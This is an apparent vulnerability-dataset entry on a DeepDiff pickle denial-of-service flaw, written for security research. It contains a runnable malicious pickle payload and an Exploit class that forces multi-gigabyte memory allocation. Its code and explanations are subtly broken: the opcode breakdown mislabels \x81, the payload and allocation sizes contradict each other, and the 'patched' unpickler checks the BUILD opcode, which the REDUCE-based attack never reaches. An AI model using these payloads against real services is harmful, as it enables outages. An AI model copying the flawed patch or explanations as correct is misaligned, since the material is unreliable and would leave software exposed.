CVE-2026-33155
DeepDiff is vulnerable to DoS via a crafted pickle that causes memory exhaustion.
- CVSS 8.7
- CWE-770
- Resource Management
- Remote
DeepDiff is a project focused on Deep Difference and search of any Python data. From version 5.0.0 to before version 8.6.2, the pickle unpickler _RestrictedUnpickler validates which classes can be loaded but does not limit their constructor arguments. A few of the types in SAFE_TO_IMPORT have constructors that allocate memory proportional to their input (builtins.bytes, builtins.list, builtins.range). A 40-byte pickle payload can force 10+ GB of memory, which crashes applications that load delta objects or call pickle_load with untrusted data. This issue has been patched in version 8.6.2.
- CWE
- CWE-770
- CVSS base score
- 8.7
- Published
- 2026-03-20
- OWASP
- A08 Software and Data Integrity Failures
- Orthogonal defect classification
- Checking
- Code defect classification
- Missing Check
- Category
- Resource Management
- Subcategory
- Insecure Parsing or Deserialization
- Accessibility scope
- Remote
- Impact
- Denial of Service (DoS)
- Affected component
- DeepDiff
- Fixed by upgrading
- Yes
Solution
Upgrade DeepDiff to version 8.6.2 or later.
Vulnerable code sample
import pickle
import io
# This code is a representation of the vulnerable parts of DeepDiff before version 8.6.2.
# It is intended for educational and demonstration purposes only.
# Running this code will attempt to allocate a very large amount of memory
# (e.g., over 1GB), which can cause the Python interpreter to crash or
# the operating system to become unresponsive. Run at your own risk.
SAFE_TO_IMPORT = {
'builtins': {
'bytes',
'dict',
'float',
'frozenset',
'int',
'list',
'set',
'str',
'tuple',
'range',
}
}
class _RestrictedUnpickler(pickle.Unpickler):
"""
A class to safely unpickle data from trusted sources.
This is a simplified representation of the vulnerable class in DeepDiff.
It restricts which classes can be imported, but not their constructor arguments.
"""
def find_class(self, module, name):
if module in SAFE_TO_IMPORT and name in SAFE_TO_IMPORT.get(module, {}):
return super().find_class(module, name)
# For restricted unpickling, we forbid imports from any other modules.
raise pickle.UnpicklingError(f"global '{module}.{name}' is forbidden")
def pickle_load(file_obj):
"""
Loads a pickle from a file object using the restricted unpickler.
"""
return _RestrictedUnpickler(file_obj).load()
# This is a malicious pickle payload. It is very small (24 bytes).
# When unpickled by the vulnerable code, it executes: builtins.bytes(1073741824)
# This attempts to allocate 1 GiB of memory, leading to a Denial of Service.
#
# Pickle opcodes breakdown:
# cbuiltins\nbytes\n: Push the 'bytes' class from the 'builtins' module onto the stack.
# J\x00\x00\x00@: Push the 4-byte signed integer 1073741824 (0x40000000) onto the stack.
# \x81: Create a 1-element tuple from the top stack item. The stack is now (bytes, (1073741824,)).
# R: Reduce. Call the function (bytes) with the arguments tuple.
# .: Stop unpickling.
malicious_payload = b'cbuiltins\nbytes\nJ\x00\x00\x00@\x81R.'
# Create a file-like object from the payload
payload_stream = io.BytesIO(malicious_payload)
# Trigger the vulnerability. This line will cause a massive memory allocation.
unpickled_object = pickle_load(payload_stream)Patched code sample
import pickle
import logging
from pickle import UnpicklingError
# A simplified set of classes considered safe to unpickle. The vulnerability
# is not about which classes are imported, but the arguments passed to them.
SAFE_TO_IMPORT = {
'deepdiff.delta.Delta',
'deepdiff.helper.NotPresent',
'collections.OrderedDict',
'datetime.date',
'datetime.datetime',
'datetime.time',
'datetime.timedelta',
'builtins.bytes',
'builtins.list',
'builtins.range',
}
# The maximum size allowed for constructor arguments of certain built-in types
# to prevent denial-of-service attacks via memory allocation. This is the core
# of the fix's strategy.
MAX_UNPICKLE_ARG_SIZE = 4096
# A mapping of built-in types that are subject to argument size limitation.
LIMITED_BUILTINS = {
bytes: MAX_UNPICKLE_ARG_SIZE,
list: MAX_UNPICKLE_ARG_SIZE,
range: MAX_UNPICKLE_ARG_SIZE,
}
log = logging.getLogger()
class _RestrictedUnpickler(pickle.Unpickler):
"""
A restricted unpickler that prevents loading of arbitrary classes and
protects against memory exhaustion attacks by limiting constructor arguments
for certain built-in types.
"""
def find_class(self, module, name):
"""
The original security mechanism: only allow importing from a safe list.
"""
if f"{module}.{name}" in SAFE_TO_IMPORT:
return super().find_class(module, name)
# Forbid everything else.
raise UnpicklingError(
f"Global '{module}.{name}' is forbidden to be unpickled. "
"If you really trust this pickle, you can add it to "
"deepdiff.pickle.SAFE_TO_IMPORT."
)
# THE FIX: This method is overridden to check constructor arguments.
def load_build(self):
"""
This method is called by the pickle BUILD opcode to set the state of a
newly created object. We override it to inspect and validate the
constructor arguments before the object is actually built, preventing
the memory allocation vulnerability.
"""
# Peek at the object's class and its constructor arguments from the stack.
stack = self.stack
state = stack.pop()
cls = stack[-1]
# Check if the class is one of the types we need to limit.
if cls in LIMITED_BUILTINS:
limit = LIMITED_BUILTINS[cls]
# The arguments for constructors like list(iterable) or bytes(int)
# are passed in a tuple.
if isinstance(state, tuple):
# Check each argument in the constructor call.
for arg in state:
# If an integer argument exceeds our defined limit, it's a
# potential denial-of-service attack.
if isinstance(arg, int) and arg > limit:
raise UnpicklingError(
f"Forbidden to unpickle {cls} with an argument "
f"of size {arg} > {limit} to prevent a "
"denial of service attack."
)
# If all checks pass, put the state back on the stack and call the
# original, C-optimized load_build from the parent class to proceed
# with object construction.
stack.append(state)
super().load_build()Payload
import pickle
class Exploit:
def __reduce__(self):
# This will call builtins.bytes(10**10) during unpickling,
# attempting to allocate 10 GB of memory.
return (bytes, (10**10,))
payload = pickle.dumps(Exploit())
Cite this entry
@misc{vaitp:cve202633155,
title = {{DeepDiff is vulnerable to DoS via a crafted pickle that causes memory exhaustion.}},
author = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
year = {2026},
note = {VAITP Python Vulnerability Dataset, entry CVE-2026-33155},
howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-33155/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.
The supreme art of war is to subdue the enemy without fighting.
Sun Tzu – “The Art of War”
:: Shaping the future through research and ingenuity ::
